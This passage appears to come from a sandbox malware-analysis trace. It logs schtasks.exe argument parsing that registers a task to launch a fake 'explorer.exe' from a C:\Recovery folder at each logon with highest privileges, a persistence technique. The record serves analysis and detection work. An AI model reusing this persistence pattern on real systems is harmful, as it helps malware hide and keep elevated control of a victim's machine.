_BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.876] lstrlenW (lpString="|end|") returned 5 [0137.876] lstrlenW (lpString="|sc|") returned 4 [0137.876] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0137.876] SetLastError (dwErrCode=0x490) [0137.876] lstrlenW (lpString="showsid") returned 7 [0137.876] lstrlenW (lpString="showsid") returned 7 [0137.876] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.876] lstrlenW (lpString="sc") returned 2 [0137.876] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.876] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|showsid|") returned 9 [0137.876] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|sc|") returned 4 [0137.876] lstrlenW (lpString="|showsid|") returned 9 [0137.877] lstrlenW (lpString="|sc|") returned 4 [0137.877] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x0) [0137.877] lstrlenW (lpString="/sc") returned 3 [0137.877] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x0) [0137.877] lstrlenW (lpString="/sc") returned 3 [0137.877] GetProcessHeap () returned 0x240000 [0137.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c2b0 [0137.877] GetProcessHeap () returned 0x240000 [0137.877] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cc70 [0137.877] SetLastError (dwErrCode=0x0) [0137.877] SetLastError (dwErrCode=0x0) [0137.877] lstrlenW (lpString="ONLOGON") returned 7 [0137.877] lstrlenW (lpString="-/") returned 2 [0137.877] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x0) [0137.877] lstrlenW (lpString="ONLOGON") returned 7 [0137.877] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0137.877] SetLastError (dwErrCode=0x490) [0137.877] SetLastError (dwErrCode=0x0) [0137.877] lstrlenW (lpString="ONLOGON") returned 7 [0137.878] GetProcessHeap () returned 0x240000 [0137.878] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25c2d0 [0137.878] GetProcessHeap () returned 0x240000 [0137.878] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cca0 [0137.878] SetLastError (dwErrCode=0x0) [0137.878] SetLastError (dwErrCode=0x0) [0137.878] lstrlenW (lpString="/tr") returned 3 [0137.878] lstrlenW (lpString="-/") returned 2 [0137.878] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.878] lstrlenW (lpString="?") returned 1 [0137.878] lstrlenW (lpString="?") returned 1 [0137.878] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.878] lstrlenW (lpString="tr") returned 2 [0137.878] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.878] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.878] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.878] lstrlenW (lpString="|?|") returned 3 [0137.878] lstrlenW (lpString="|tr|") returned 4 [0137.878] SetLastError (dwErrCode=0x490) [0137.878] lstrlenW (lpString="create") returned 6 [0137.878] lstrlenW (lpString="create") returned 6 [0137.878] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.878] lstrlenW (lpString="tr") returned 2 [0137.878] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.878] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.879] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.879] lstrlenW (lpString="|create|") returned 8 [0137.879] lstrlenW (lpString="|tr|") returned 4 [0137.879] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0137.879] SetLastError (dwErrCode=0x490) [0137.879] lstrlenW (lpString="delete") returned 6 [0137.879] lstrlenW (lpString="delete") returned 6 [0137.879] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.879] lstrlenW (lpString="tr") returned 2 [0137.879] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.879] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|delete|") returned 8 [0137.879] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.879] lstrlenW (lpString="|delete|") returned 8 [0137.879] lstrlenW (lpString="|tr|") returned 4 [0137.879] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0137.879] SetLastError (dwErrCode=0x490) [0137.879] lstrlenW (lpString="query") returned 5 [0137.879] lstrlenW (lpString="query") returned 5 [0137.879] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.879] lstrlenW (lpString="tr") returned 2 [0137.879] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.879] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|query|") returned 7 [0137.879] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.879] lstrlenW (lpString="|query|") returned 7 [0137.880] lstrlenW (lpString="|tr|") returned 4 [0137.880] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0137.880] SetLastError (dwErrCode=0x490) [0137.880] lstrlenW (lpString="change") returned 6 [0137.880] lstrlenW (lpString="change") returned 6 [0137.880] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.880] lstrlenW (lpString="tr") returned 2 [0137.880] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.880] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|change|") returned 8 [0137.880] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.880] lstrlenW (lpString="|change|") returned 8 [0137.880] lstrlenW (lpString="|tr|") returned 4 [0137.880] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0137.880] SetLastError (dwErrCode=0x490) [0137.880] lstrlenW (lpString="run") returned 3 [0137.880] lstrlenW (lpString="run") returned 3 [0137.880] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.880] lstrlenW (lpString="tr") returned 2 [0137.880] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.880] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|run|") returned 5 [0137.880] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.880] lstrlenW (lpString="|run|") returned 5 [0137.880] lstrlenW (lpString="|tr|") returned 4 [0137.886] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0137.886] SetLastError (dwErrCode=0x490) [0137.886] lstrlenW (lpString="end") returned 3 [0137.886] lstrlenW (lpString="end") returned 3 [0137.886] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.886] lstrlenW (lpString="tr") returned 2 [0137.886] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.886] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|end|") returned 5 [0137.886] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.886] lstrlenW (lpString="|end|") returned 5 [0137.886] lstrlenW (lpString="|tr|") returned 4 [0137.886] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0137.886] SetLastError (dwErrCode=0x490) [0137.886] lstrlenW (lpString="showsid") returned 7 [0137.886] lstrlenW (lpString="showsid") returned 7 [0137.886] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.886] lstrlenW (lpString="tr") returned 2 [0137.886] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.886] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|showsid|") returned 9 [0137.887] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|tr|") returned 4 [0137.887] lstrlenW (lpString="|showsid|") returned 9 [0137.887] lstrlenW (lpString="|tr|") returned 4 [0137.887] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0137.887] SetLastError (dwErrCode=0x490) [0137.887] SetLastError (dwErrCode=0x490) [0137.887] SetLastError (dwErrCode=0x0) [0137.887] lstrlenW (lpString="/tr") returned 3 [0137.887] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0137.887] SetLastError (dwErrCode=0x490) [0137.887] SetLastError (dwErrCode=0x0) [0137.887] lstrlenW (lpString="/tr") returned 3 [0137.887] GetProcessHeap () returned 0x240000 [0137.887] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c2f0 [0137.887] GetProcessHeap () returned 0x240000 [0137.887] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ccd0 [0137.887] SetLastError (dwErrCode=0x0) [0137.887] SetLastError (dwErrCode=0x0) [0137.887] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.887] lstrlenW (lpString="-/") returned 2 [0137.887] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.888] SetLastError (dwErrCode=0x490) [0137.888] SetLastError (dwErrCode=0x490) [0137.888] SetLastError (dwErrCode=0x0) [0137.888] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.888] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'" [0137.888] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.888] GetProcessHeap () returned 0x240000 [0137.888] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c310 [0137.888] _memicmp (_Buf1=0x25c310, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.888] GetProcessHeap () returned 0x240000 [0137.888] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25c330 [0137.888] GetProcessHeap () returned 0x240000 [0137.888] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d500 [0137.888] _memicmp (_Buf1=0x25d500, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.888] GetProcessHeap () returned 0x240000 [0137.888] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x82) returned 0x25dcd0 [0137.888] SetLastError (dwErrCode=0x7a) [0137.888] SetLastError (dwErrCode=0x0) [0137.888] SetLastError (dwErrCode=0x0) [0137.889] lstrlenW (lpString="'C") returned 2 [0137.889] lstrlenW (lpString="-/") returned 2 [0137.889] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0137.889] SetLastError (dwErrCode=0x490) [0137.889] SetLastError (dwErrCode=0x490) [0137.889] SetLastError (dwErrCode=0x0) [0137.889] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'") returned 63 [0137.889] GetProcessHeap () returned 0x240000 [0137.889] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x80) returned 0x25dd60 [0137.889] GetProcessHeap () returned 0x240000 [0137.889] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd00 [0137.889] SetLastError (dwErrCode=0x0) [0137.889] SetLastError (dwErrCode=0x0) [0137.889] lstrlenW (lpString="/rl") returned 3 [0137.889] lstrlenW (lpString="-/") returned 2 [0137.889] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.889] lstrlenW (lpString="?") returned 1 [0137.889] lstrlenW (lpString="?") returned 1 [0137.889] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.889] lstrlenW (lpString="rl") returned 2 [0137.889] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.889] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.889] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.890] lstrlenW (lpString="|?|") returned 3 [0137.890] lstrlenW (lpString="|rl|") returned 4 [0137.890] SetLastError (dwErrCode=0x490) [0137.890] lstrlenW (lpString="create") returned 6 [0137.890] lstrlenW (lpString="create") returned 6 [0137.890] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.890] lstrlenW (lpString="rl") returned 2 [0137.890] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.890] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.890] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.890] lstrlenW (lpString="|create|") returned 8 [0137.890] lstrlenW (lpString="|rl|") returned 4 [0137.890] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0137.890] SetLastError (dwErrCode=0x490) [0137.890] lstrlenW (lpString="delete") returned 6 [0137.890] lstrlenW (lpString="delete") returned 6 [0137.890] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.890] lstrlenW (lpString="rl") returned 2 [0137.890] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.890] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|delete|") returned 8 [0137.890] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.890] lstrlenW (lpString="|delete|") returned 8 [0137.890] lstrlenW (lpString="|rl|") returned 4 [0137.890] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0137.890] SetLastError (dwErrCode=0x490) [0137.891] lstrlenW (lpString="query") returned 5 [0137.891] lstrlenW (lpString="query") returned 5 [0137.891] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.891] lstrlenW (lpString="rl") returned 2 [0137.891] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.891] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|query|") returned 7 [0137.891] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.891] lstrlenW (lpString="|query|") returned 7 [0137.891] lstrlenW (lpString="|rl|") returned 4 [0137.891] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0137.891] SetLastError (dwErrCode=0x490) [0137.891] lstrlenW (lpString="change") returned 6 [0137.891] lstrlenW (lpString="change") returned 6 [0137.891] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.891] lstrlenW (lpString="rl") returned 2 [0137.891] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.891] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|change|") returned 8 [0137.891] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.891] lstrlenW (lpString="|change|") returned 8 [0137.891] lstrlenW (lpString="|rl|") returned 4 [0137.891] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0137.891] SetLastError (dwErrCode=0x490) [0137.891] lstrlenW (lpString="run") returned 3 [0137.891] lstrlenW (lpString="run") returned 3 [0137.892] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.892] lstrlenW (lpString="rl") returned 2 [0137.892] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.892] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|run|") returned 5 [0137.892] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.892] lstrlenW (lpString="|run|") returned 5 [0137.892] lstrlenW (lpString="|rl|") returned 4 [0137.892] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0137.892] SetLastError (dwErrCode=0x490) [0137.892] lstrlenW (lpString="end") returned 3 [0137.892] lstrlenW (lpString="end") returned 3 [0137.892] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.892] lstrlenW (lpString="rl") returned 2 [0137.892] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.892] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|end|") returned 5 [0137.892] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.892] lstrlenW (lpString="|end|") returned 5 [0137.892] lstrlenW (lpString="|rl|") returned 4 [0137.892] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0137.892] SetLastError (dwErrCode=0x490) [0137.892] lstrlenW (lpString="showsid") returned 7 [0137.892] lstrlenW (lpString="showsid") returned 7 [0137.892] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.892] lstrlenW (lpString="rl") returned 2 [0137.893] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.893] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|showsid|") returned 9 [0137.893] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|rl|") returned 4 [0137.893] lstrlenW (lpString="|showsid|") returned 9 [0137.893] lstrlenW (lpString="|rl|") returned 4 [0137.893] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0137.893] SetLastError (dwErrCode=0x490) [0137.893] SetLastError (dwErrCode=0x490) [0137.893] SetLastError (dwErrCode=0x0) [0137.893] lstrlenW (lpString="/rl") returned 3 [0137.893] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0137.893] SetLastError (dwErrCode=0x490) [0137.893] SetLastError (dwErrCode=0x0) [0137.893] lstrlenW (lpString="/rl") returned 3 [0137.893] GetProcessHeap () returned 0x240000 [0137.893] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25ddf0 [0137.893] GetProcessHeap () returned 0x240000 [0137.893] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd30 [0137.893] SetLastError (dwErrCode=0x0) [0137.893] SetLastError (dwErrCode=0x0) [0137.893] lstrlenW (lpString="HIGHEST") returned 7 [0137.893] lstrlenW (lpString="-/") returned 2 [0137.893] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0137.893] SetLastError (dwErrCode=0x490) [0137.893] SetLastError (dwErrCode=0x490) [0137.893] SetLastError (dwErrCode=0x0) [0137.893] lstrlenW (lpString="HIGHEST") returned 7 [0137.893] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0137.894] SetLastError (dwErrCode=0x490) [0137.894] SetLastError (dwErrCode=0x0) [0137.894] lstrlenW (lpString="HIGHEST") returned 7 [0137.894] GetProcessHeap () returned 0x240000 [0137.894] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25d520 [0137.894] GetProcessHeap () returned 0x240000 [0137.894] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd60 [0137.894] SetLastError (dwErrCode=0x0) [0137.894] SetLastError (dwErrCode=0x0) [0137.894] lstrlenW (lpString="/f") returned 2 [0137.894] lstrlenW (lpString="-/") returned 2 [0137.894] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.894] lstrlenW (lpString="?") returned 1 [0137.894] lstrlenW (lpString="?") returned 1 [0137.894] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.894] lstrlenW (lpString="f") returned 1 [0137.894] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.894] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|?|") returned 3 [0137.894] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.894] lstrlenW (lpString="|?|") returned 3 [0137.894] lstrlenW (lpString="|f|") returned 3 [0137.894] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0137.894] SetLastError (dwErrCode=0x490) [0137.894] lstrlenW (lpString="create") returned 6 [0137.894] lstrlenW (lpString="create") returned 6 [0137.894] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] lstrlenW (lpString="f") returned 1 [0137.895] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|create|") returned 8 [0137.895] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.895] lstrlenW (lpString="|create|") returned 8 [0137.895] lstrlenW (lpString="|f|") returned 3 [0137.895] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0137.895] SetLastError (dwErrCode=0x490) [0137.895] lstrlenW (lpString="delete") returned 6 [0137.895] lstrlenW (lpString="delete") returned 6 [0137.895] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] lstrlenW (lpString="f") returned 1 [0137.895] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|delete|") returned 8 [0137.895] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.895] lstrlenW (lpString="|delete|") returned 8 [0137.895] lstrlenW (lpString="|f|") returned 3 [0137.895] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0137.895] SetLastError (dwErrCode=0x490) [0137.895] lstrlenW (lpString="query") returned 5 [0137.895] lstrlenW (lpString="query") returned 5 [0137.895] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] lstrlenW (lpString="f") returned 1 [0137.895] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.895] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|query|") returned 7 [0137.896] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.896] lstrlenW (lpString="|query|") returned 7 [0137.896] lstrlenW (lpString="|f|") returned 3 [0137.896] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0137.896] SetLastError (dwErrCode=0x490) [0137.896] lstrlenW (lpString="change") returned 6 [0137.896] lstrlenW (lpString="change") returned 6 [0137.896] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.896] lstrlenW (lpString="f") returned 1 [0137.896] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.896] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|change|") returned 8 [0137.896] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.896] lstrlenW (lpString="|change|") returned 8 [0137.896] lstrlenW (lpString="|f|") returned 3 [0137.923] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0137.923] SetLastError (dwErrCode=0x490) [0137.923] lstrlenW (lpString="run") returned 3 [0137.923] lstrlenW (lpString="run") returned 3 [0137.923] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.924] lstrlenW (lpString="f") returned 1 [0137.924] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.924] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|run|") returned 5 [0137.924] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.924] lstrlenW (lpString="|run|") returned 5 [0137.924] lstrlenW (lpString="|f|") returned 3 [0137.924] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0137.924] SetLastError (dwErrCode=0x490) [0137.924] lstrlenW (lpString="end") returned 3 [0137.924] lstrlenW (lpString="end") returned 3 [0137.924] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.924] lstrlenW (lpString="f") returned 1 [0137.924] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.924] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|end|") returned 5 [0137.925] _vsnwprintf (in: _Buffer=0x25c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff698 | out: _Buffer="|f|") returned 3 [0137.925] lstrlenW (lpString="|end|") returned 5 [0137.925] lstrlenW (lpString="|f|") returned 3 [0137.925] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0137.925] SetLastError (dwErrCode=0x490) [0137.925] lstrlenW (lpString="showsid") returned 7 [0137.925] lstrlenW (lpString="showsid") returned 7 [0137.925] _memicmp (_Buf1=0x25c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.925] lstrlenW (lpString="f") returned 1 [0137.925] _memicmp (_Buf1=0x25c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.925] _vsnwprintf (in: _Buffer=0x25c260, _BufferCount=0xa, 